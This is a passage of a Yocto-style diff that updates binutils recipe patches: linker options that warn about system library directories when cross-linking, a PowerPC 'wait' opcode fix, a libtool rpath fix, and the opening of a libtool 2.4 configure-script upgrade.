+@@ -164,6 +164,8 @@ enum option_values
+ OPTION_CTF_VARIABLES,
+ OPTION_NO_CTF_VARIABLES,
+ OPTION_CTF_SHARE_TYPES,
++ OPTION_NO_POISON_SYSTEM_DIRECTORIES,
++ OPTION_ERROR_POISON_SYSTEM_DIRECTORIES,
+ };
+
+ /* The initial parser states. */
+diff --git a/ld/ldmain.c b/ld/ldmain.c
+index 1ae90a77749..f40750fd816 100644
+--- a/ld/ldmain.c
++++ b/ld/ldmain.c
+@@ -322,6 +322,8 @@ main (int argc, char **argv)
+ command_line.warn_mismatch = true;
+ command_line.warn_search_mismatch = true;
+ command_line.check_section_addresses = -1;
++ command_line.poison_system_directories = true;
++ command_line.error_poison_system_directories = false;
+
+ /* We initialize DEMANGLING based on the environment variable
+ COLLECT_NO_DEMANGLE. The gcc collect2 program will demangle the
+@@ -1447,7 +1449,7 @@ undefined_symbol (struct bfd_link_info *info,
+ argv[1] = "undefined-symbol";
+ argv[2] = (char *) name;
+ argv[3] = NULL;
+-
++
+ if (verbose)
+ einfo (_("%P: About to run error handling script '%s' with arguments: '%s' '%s'\n"),
+ argv[0], argv[1], argv[2]);
+@@ -1468,7 +1470,7 @@ undefined_symbol (struct bfd_link_info *info,
+ carry on to issue the normal error message. */
+ }
+ #endif /* SUPPORT_ERROR_HANDLING_SCRIPT */
+-
++
+ if (section != NULL)
+ {
+ if (error_count < MAX_ERRORS_IN_A_ROW)
+diff --git a/ld/lexsup.c b/ld/lexsup.c
+index 5acc47ed5a0..d03c6136ccf 100644
+--- a/ld/lexsup.c
++++ b/ld/lexsup.c
+@@ -600,6 +600,14 @@ static const struct ld_option ld_options[] =
+ " <method> is: share-unconflicted (default),\n"
+ " share-duplicated"),
+ TWO_DASHES },
++ { {"no-poison-system-directories", no_argument, NULL,
++ OPTION_NO_POISON_SYSTEM_DIRECTORIES},
++ '\0', NULL, N_("Do not warn for -L options using system directories"),
++ TWO_DASHES },
++ { {"error-poison-system-directories", no_argument, NULL,
++ + OPTION_ERROR_POISON_SYSTEM_DIRECTORIES},
++ '\0', NULL, N_("Give an error for -L options using system directories"),
++ TWO_DASHES },
+ };
+
+ #define OPTION_COUNT ARRAY_SIZE (ld_options)
+@@ -1702,6 +1710,14 @@ parse_args (unsigned argc, char **argv)
+ config.print_map_discarded = true;
+ break;
+
++ case OPTION_NO_POISON_SYSTEM_DIRECTORIES:
++ command_line.poison_system_directories = false;
++ break;
++
++ case OPTION_ERROR_POISON_SYSTEM_DIRECTORIES:
++ command_line.error_poison_system_directories = true;
++ break;
++
+ case OPTION_DEPENDENCY_FILE:
+ config.dependency_file = optarg;
+ break;
diff --git a/meta/recipes-devtools/binutils/binutils/0008-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch b/meta/recipes-devtools/binutils/binutils/0008-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch
new file mode 100644
index 0000000000..648bdc13d2
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0008-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch
@@ -0,0 +1,37 @@
+From 00ae1ee97ad3ad0624798b28c6bab94a19b3ef39 Mon Sep 17 00:00:00 2001
+From: Zhenhua Luo <zhenhua.luo@nxp.com>
+Date: Sat, 11 Jun 2016 22:08:29 -0500
+Subject: [PATCH] fix the incorrect assembling for ppc wait mnemonic
+
+The wait mnemonic for ppc targets is incorrectly assembled into 0x7c00003c due
+to duplicated address definition with waitasec instruction. The issue causes
+kernel boot calltrace for ppc targets when wait instruction is executed.
+
+Upstream-Status: Pending
+Signed-off-by: Zhenhua Luo <zhenhua.luo@nxp.com>
+---
+ opcodes/ppc-opc.c | 4 +---
+ 1 file changed, 1 insertion(+), 3 deletions(-)
+
+diff --git a/opcodes/ppc-opc.c b/opcodes/ppc-opc.c
+index a424dd924de..406d5b60917 100644
+--- a/opcodes/ppc-opc.c
++++ b/opcodes/ppc-opc.c
+@@ -6378,8 +6378,6 @@ const struct powerpc_opcode powerpc_opcodes[] = {
+ {"waitasec", X(31,30), XRTRARB_MASK, POWER8, POWER9, {0}},
+ {"waitrsv", XWCPL(31,30,1,0),0xffffffff, POWER10, EXT, {0}},
+ {"pause_short", XWCPL(31,30,2,0),0xffffffff, POWER10, EXT, {0}},
+-{"wait", X(31,30), XWCPL_MASK, POWER10, 0, {WC, PL}},
+-{"wait", X(31,30), XWC_MASK, POWER9, POWER10, {WC}},
+
+ {"lwepx", X(31,31), X_MASK, E500MC|PPCA2, 0, {RT, RA0, RB}},
+
+@@ -6433,7 +6431,7 @@ const struct powerpc_opcode powerpc_opcodes[] = {
+
+ {"waitrsv", X(31,62)|(1<<21), 0xffffffff, E500MC|PPCA2, EXT, {0}},
+ {"waitimpl", X(31,62)|(2<<21), 0xffffffff, E500MC|PPCA2, EXT, {0}},
+-{"wait", X(31,62), XWC_MASK, E500MC|PPCA2, 0, {WC}},
++{"wait", X(31,62), XWC_MASK, E500MC|PPCA2|POWER9|POWER10, 0, {WC}},
+
+ {"dcbstep", XRT(31,63,0), XRT_MASK, E500MC|PPCA2, 0, {RA0, RB}},
+
diff --git a/meta/recipes-devtools/binutils/binutils/0008-warn-for-uses-of-system-directories-when-cross-linki.patch b/meta/recipes-devtools/binutils/binutils/0008-warn-for-uses-of-system-directories-when-cross-linki.patch
deleted file mode 100644
index 9727821b1f..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0008-warn-for-uses-of-system-directories-when-cross-linki.patch
+++ /dev/null
@@ -1,273 +0,0 @@
-From 98f68c0892ba4bbd53b0a0a4cbbdf0b7197e0320 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 15 Jan 2016 06:31:09 +0000
-Subject: [PATCH 08/15] warn for uses of system directories when cross linking
-
-2008-07-02 Joseph Myers <joseph@codesourcery.com>
-
- ld/
- * ld.h (args_type): Add error_poison_system_directories.
- * ld.texinfo (--error-poison-system-directories): Document.
- * ldfile.c (ldfile_add_library_path): Check
- command_line.error_poison_system_directories.
- * ldmain.c (main): Initialize
- command_line.error_poison_system_directories.
- * lexsup.c (enum option_values): Add
- OPTION_ERROR_POISON_SYSTEM_DIRECTORIES.
- (ld_options): Add --error-poison-system-directories.
- (parse_args): Handle new option.
-
-2007-06-13 Joseph Myers <joseph@codesourcery.com>
-
- ld/
- * config.in: Regenerate.
- * ld.h (args_type): Add poison_system_directories.
- * ld.texinfo (--no-poison-system-directories): Document.
- * ldfile.c (ldfile_add_library_path): Check
- command_line.poison_system_directories.
- * ldmain.c (main): Initialize
- command_line.poison_system_directories.
- * lexsup.c (enum option_values): Add
- OPTION_NO_POISON_SYSTEM_DIRECTORIES.
- (ld_options): Add --no-poison-system-directories.
- (parse_args): Handle new option.
-
-2007-04-20 Joseph Myers <joseph@codesourcery.com>
-
- Merge from Sourcery G++ binutils 2.17:
-
- 2007-03-20 Joseph Myers <joseph@codesourcery.com>
- Based on patch by Mark Hatle <mark.hatle@windriver.com>.
- ld/
- * configure.in (--enable-poison-system-directories): New option.
- * configure, config.in: Regenerate.
- * ldfile.c (ldfile_add_library_path): If
- ENABLE_POISON_SYSTEM_DIRECTORIES defined, warn for use of /lib,
- /usr/lib, /usr/local/lib or /usr/X11R6/lib.
-
-Upstream-Status: Pending
-
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- ld/config.in | 3 +++
- ld/configure | 16 ++++++++++++++++
- ld/configure.ac | 10 ++++++++++
- ld/ld.h | 8 ++++++++
- ld/ld.texi | 12 ++++++++++++
- ld/ldfile.c | 17 +++++++++++++++++
- ld/ldlex.h | 2 ++
- ld/ldmain.c | 2 ++
- ld/lexsup.c | 16 ++++++++++++++++
- 9 files changed, 86 insertions(+)
-
-diff --git a/ld/config.in b/ld/config.in
-index d93c9b0830..5da2742bea 100644
---- a/ld/config.in
-+++ b/ld/config.in
-@@ -31,6 +31,9 @@
- language is requested. */
- #undef ENABLE_NLS
-
-+/* Define to warn for use of native system library directories */
-+#undef ENABLE_POISON_SYSTEM_DIRECTORIES
-+
- /* Additional extension a shared object might have. */
- #undef EXTRA_SHLIB_EXTENSION
-
-diff --git a/ld/configure b/ld/configure
-index 43c391c2b3..ff9f6b3c02 100755
---- a/ld/configure
-+++ b/ld/configure
-@@ -826,6 +826,7 @@ with_lib_path
- enable_targets
- enable_64_bit_bfd
- with_sysroot
-+enable_poison_system_directories
- enable_gold
- enable_got
- enable_compressed_debug_sections
-@@ -1490,6 +1491,8 @@ Optional Features:
- --disable-largefile omit support for large files
- --enable-targets alternative target configurations
- --enable-64-bit-bfd 64-bit support (on hosts with narrower word sizes)
-+ --enable-poison-system-directories
-+ warn for use of native system library directories
- --enable-gold[=ARG] build gold [ARG={default,yes,no}]
- --enable-got=<type> GOT handling scheme (target, single, negative,
- multigot)
-@@ -16618,6 +16621,19 @@ fi
-
-
-
-+# Check whether --enable-poison-system-directories was given.
-+if test "${enable_poison_system_directories+set}" = set; then :
-+ enableval=$enable_poison_system_directories;
-+else
-+ enable_poison_system_directories=no
-+fi
-+
-+if test "x${enable_poison_system_directories}" = "xyes"; then
-+
-+$as_echo "#define ENABLE_POISON_SYSTEM_DIRECTORIES 1" >>confdefs.h
-+
-+fi
-+
- # Check whether --enable-gold was given.
- if test "${enable_gold+set}" = set; then :
- enableval=$enable_gold; case "${enableval}" in
-diff --git a/ld/configure.ac b/ld/configure.ac
-index d335f21091..7f692d9387 100644
---- a/ld/configure.ac
-+++ b/ld/configure.ac
-@@ -94,6 +94,16 @@ AC_SUBST(use_sysroot)
- AC_SUBST(TARGET_SYSTEM_ROOT)
- AC_SUBST(TARGET_SYSTEM_ROOT_DEFINE)
-
-+AC_ARG_ENABLE([poison-system-directories],
-+ AS_HELP_STRING([--enable-poison-system-directories],
-+ [warn for use of native system library directories]),,
-+ [enable_poison_system_directories=no])
-+if test "x${enable_poison_system_directories}" = "xyes"; then
-+ AC_DEFINE([ENABLE_POISON_SYSTEM_DIRECTORIES],
-+ [1],
-+ [Define to warn for use of native system library directories])
-+fi
-+
- dnl Use --enable-gold to decide if this linker should be the default.
- dnl "install_as_default" is set to false if gold is the default linker.
- dnl "installed_linker" is the installed BFD linker name.
-diff --git a/ld/ld.h b/ld/ld.h
-index b97d977f37..f3bbd2d55d 100644
---- a/ld/ld.h
-+++ b/ld/ld.h
-@@ -180,6 +180,14 @@ typedef struct
- in the linker script. */
- bfd_boolean force_group_allocation;
-
-+ /* If TRUE (the default) warn for uses of system directories when
-+ cross linking. */
-+ bfd_boolean poison_system_directories;
-+
-+ /* If TRUE (default FALSE) give an error for uses of system
-+ directories when cross linking instead of a warning. */
-+ bfd_boolean error_poison_system_directories;
-+
- /* Big or little endian as set on command line. */
- enum endian_enum endian;
-
-diff --git a/ld/ld.texi b/ld/ld.texi
-index 5179af3e0e..f78bf74682 100644
---- a/ld/ld.texi
-+++ b/ld/ld.texi
-@@ -2524,6 +2524,18 @@ string identifying the original linked file does not change.
-
- Passing @code{none} for @var{style} disables the setting from any
- @code{--build-id} options earlier on the command line.
-+
-+@kindex --no-poison-system-directories
-+@item --no-poison-system-directories
-+Do not warn for @option{-L} options using system directories such as
-+@file{/usr/lib} when cross linking. This option is intended for use
-+in chroot environments when such directories contain the correct
-+libraries for the target system rather than the host.
-+
-+@kindex --error-poison-system-directories
-+@item --error-poison-system-directories
-+Give an error instead of a warning for @option{-L} options using
-+system directories when cross linking.
- @end table
-
- @c man end
-diff --git a/ld/ldfile.c b/ld/ldfile.c
-index fcadc08c73..63e295ce8a 100644
---- a/ld/ldfile.c
-+++ b/ld/ldfile.c
-@@ -116,6 +116,23 @@ ldfile_add_library_path (const char *name, bfd_boolean cmdline)
- new_dirs->name = concat (ld_sysroot, name + strlen ("$SYSROOT"), (const char *) NULL);
- else
- new_dirs->name = xstrdup (name);
-+
-+#ifdef ENABLE_POISON_SYSTEM_DIRECTORIES
-+ if (command_line.poison_system_directories
-+ && ((!strncmp (name, "/lib", 4))
-+ || (!strncmp (name, "/usr/lib", 8))
-+ || (!strncmp (name, "/usr/local/lib", 14))
-+ || (!strncmp (name, "/usr/X11R6/lib", 14))))
-+ {
-+ if (command_line.error_poison_system_directories)
-+ einfo (_("%X%P: error: library search path \"%s\" is unsafe for "
-+ "cross-compilation\n"), name);
-+ else
-+ einfo (_("%P: warning: library search path \"%s\" is unsafe for "
-+ "cross-compilation\n"), name);
-+ }
-+#endif
-+
- }
-
- /* Try to open a BFD for a lang_input_statement. */
-diff --git a/ld/ldlex.h b/ld/ldlex.h
-index 32853debe4..8135361c49 100644
---- a/ld/ldlex.h
-+++ b/ld/ldlex.h
-@@ -148,6 +148,8 @@ enum option_values
- OPTION_REQUIRE_DEFINED_SYMBOL,
- OPTION_ORPHAN_HANDLING,
- OPTION_FORCE_GROUP_ALLOCATION,
-+ OPTION_NO_POISON_SYSTEM_DIRECTORIES,
-+ OPTION_ERROR_POISON_SYSTEM_DIRECTORIES,
- };
-
- /* The initial parser states. */
-diff --git a/ld/ldmain.c b/ld/ldmain.c
-index 77cdbd0dd2..725512f126 100644
---- a/ld/ldmain.c
-+++ b/ld/ldmain.c
-@@ -269,6 +269,8 @@ main (int argc, char **argv)
- command_line.warn_mismatch = TRUE;
- command_line.warn_search_mismatch = TRUE;
- command_line.check_section_addresses = -1;
-+ command_line.poison_system_directories = TRUE;
-+ command_line.error_poison_system_directories = FALSE;
-
- /* We initialize DEMANGLING based on the environment variable
- COLLECT_NO_DEMANGLE. The gcc collect2 program will demangle the
-diff --git a/ld/lexsup.c b/ld/lexsup.c
-index 88e85c73f4..eed1b71456 100644
---- a/ld/lexsup.c
-+++ b/ld/lexsup.c
-@@ -543,6 +543,14 @@ static const struct ld_option ld_options[] =
- { {"orphan-handling", required_argument, NULL, OPTION_ORPHAN_HANDLING},
- '\0', N_("=MODE"), N_("Control how orphan sections are handled."),
- TWO_DASHES },
-+ { {"no-poison-system-directories", no_argument, NULL,
-+ OPTION_NO_POISON_SYSTEM_DIRECTORIES},
-+ '\0', NULL, N_("Do not warn for -L options using system directories"),
-+ TWO_DASHES },
-+ { {"error-poison-system-directories", no_argument, NULL,
-+ + OPTION_ERROR_POISON_SYSTEM_DIRECTORIES},
-+ '\0', NULL, N_("Give an error for -L options using system directories"),
-+ TWO_DASHES },
- };
-
- #define OPTION_COUNT ARRAY_SIZE (ld_options)
-@@ -1577,6 +1585,14 @@ parse_args (unsigned argc, char **argv)
- einfo (_("%F%P: invalid argument to option"
- " \"--orphan-handling\"\n"));
- break;
-+
-+ case OPTION_NO_POISON_SYSTEM_DIRECTORIES:
-+ command_line.poison_system_directories = FALSE;
-+ break;
-+
-+ case OPTION_ERROR_POISON_SYSTEM_DIRECTORIES:
-+ command_line.error_poison_system_directories = TRUE;
-+ break;
- }
- }
-
---
-2.20.1
-
diff --git a/meta/recipes-devtools/binutils/binutils/0009-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch b/meta/recipes-devtools/binutils/binutils/0009-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch
deleted file mode 100644
index b6b1e7a672..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0009-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-From 2cd5613a86f8772f9d7f188532718363668ed99d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 2 Mar 2015 01:42:38 +0000
-Subject: [PATCH 09/15] Fix rpath in libtool when sysroot is enabled
-
-Enabling sysroot support in libtool exposed a bug where the final
-library had an RPATH encoded into it which still pointed to the
-sysroot. This works around the issue until it gets sorted out
-upstream.
-
-Fix suggested by Richard Purdie <richard.purdie@linuxfoundation.org>
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- ltmain.sh | 10 ++++++++--
- 1 file changed, 8 insertions(+), 2 deletions(-)
-
-diff --git a/ltmain.sh b/ltmain.sh
-index 70e856e065..11ee684ccc 100644
---- a/ltmain.sh
-+++ b/ltmain.sh
-@@ -8035,9 +8035,11 @@ EOF
- test "$opt_mode" != relink && rpath="$compile_rpath$rpath"
- for libdir in $rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
-+ func_replace_sysroot "$libdir"
-+ libdir=$func_replace_sysroot_result
-+ func_stripname '=' '' "$libdir"
-+ libdir=$func_stripname_result
- if test -n "$hardcode_libdir_separator"; then
-- func_replace_sysroot "$libdir"
-- libdir=$func_replace_sysroot_result
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs="$libdir"
- else
-@@ -8770,6 +8772,10 @@ EOF
- hardcode_libdirs=
- for libdir in $compile_rpath $finalize_rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
-+ func_replace_sysroot "$libdir"
-+ libdir=$func_replace_sysroot_result
-+ func_stripname '=' '' "$libdir"
-+ libdir=$func_stripname_result
- if test -n "$hardcode_libdir_separator"; then
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs="$libdir"
---
-2.20.1
-
diff --git a/meta/recipes-devtools/binutils/binutils/0009-Use-libtool-2.4.patch b/meta/recipes-devtools/binutils/binutils/0009-Use-libtool-2.4.patch
new file mode 100644
index 0000000000..9f0209e274
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0009-Use-libtool-2.4.patch
@@ -0,0 +1,25302 @@
+From 9a0dea4d2f1f0f2c71f519e6195ef9cfacd9fda9 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 14 Feb 2016 17:04:07 +0000
+Subject: [PATCH] Use libtool 2.4
+
+get libtool sysroot support
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ bfd/configure | 1333 +++++++++++++-----
+ bfd/configure.ac | 2 +-
+ binutils/configure | 1331 +++++++++++++-----
+ gas/configure | 1331 +++++++++++++-----
+ gprof/configure | 1331 +++++++++++++-----
+ ld/configure | 1704 +++++++++++++++++------
+ libbacktrace/configure | 1534 +++++++++++++++------
+ libctf/configure | 1330 +++++++++++++-----
+ libtool.m4 | 1093 ++++++++++-----
+ ltmain.sh | 2925 +++++++++++++++++++++++++++-------------
+ ltoptions.m4 | 2 +-
+ ltversion.m4 | 12 +-
+ lt~obsolete.m4 | 2 +-
+ opcodes/configure | 1331 +++++++++++++-----
+ zlib/configure | 1331 +++++++++++++-----
+ 15 files changed, 12067 insertions(+), 4525 deletions(-)
+
+diff --git a/bfd/configure b/bfd/configure
+index b23c9eebfd7..fb25d046cd2 100755
+--- a/bfd/configure
++++ b/bfd/configure
+@@ -707,6 +707,9 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
++ac_ct_AR
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -825,6 +828,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_plugins
+ enable_largefile
+@@ -1509,6 +1513,8 @@ Optional Packages:
+ --with-pic try to use only PIC/non-PIC objects [default=use
+ both]
+ --with-gnu-ld assume the C compiler uses GNU ld [default=no]
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+ --with-mmap try using mmap for BFD input files if available
+ --with-separate-debug-dir=DIR
+ Look for global separate debug info in DIR
+@@ -5029,8 +5035,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -5070,7 +5076,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -5757,8 +5763,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -5807,6 +5813,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -5823,6 +5903,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -5991,7 +6076,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -6145,6 +6231,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -6160,6 +6261,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
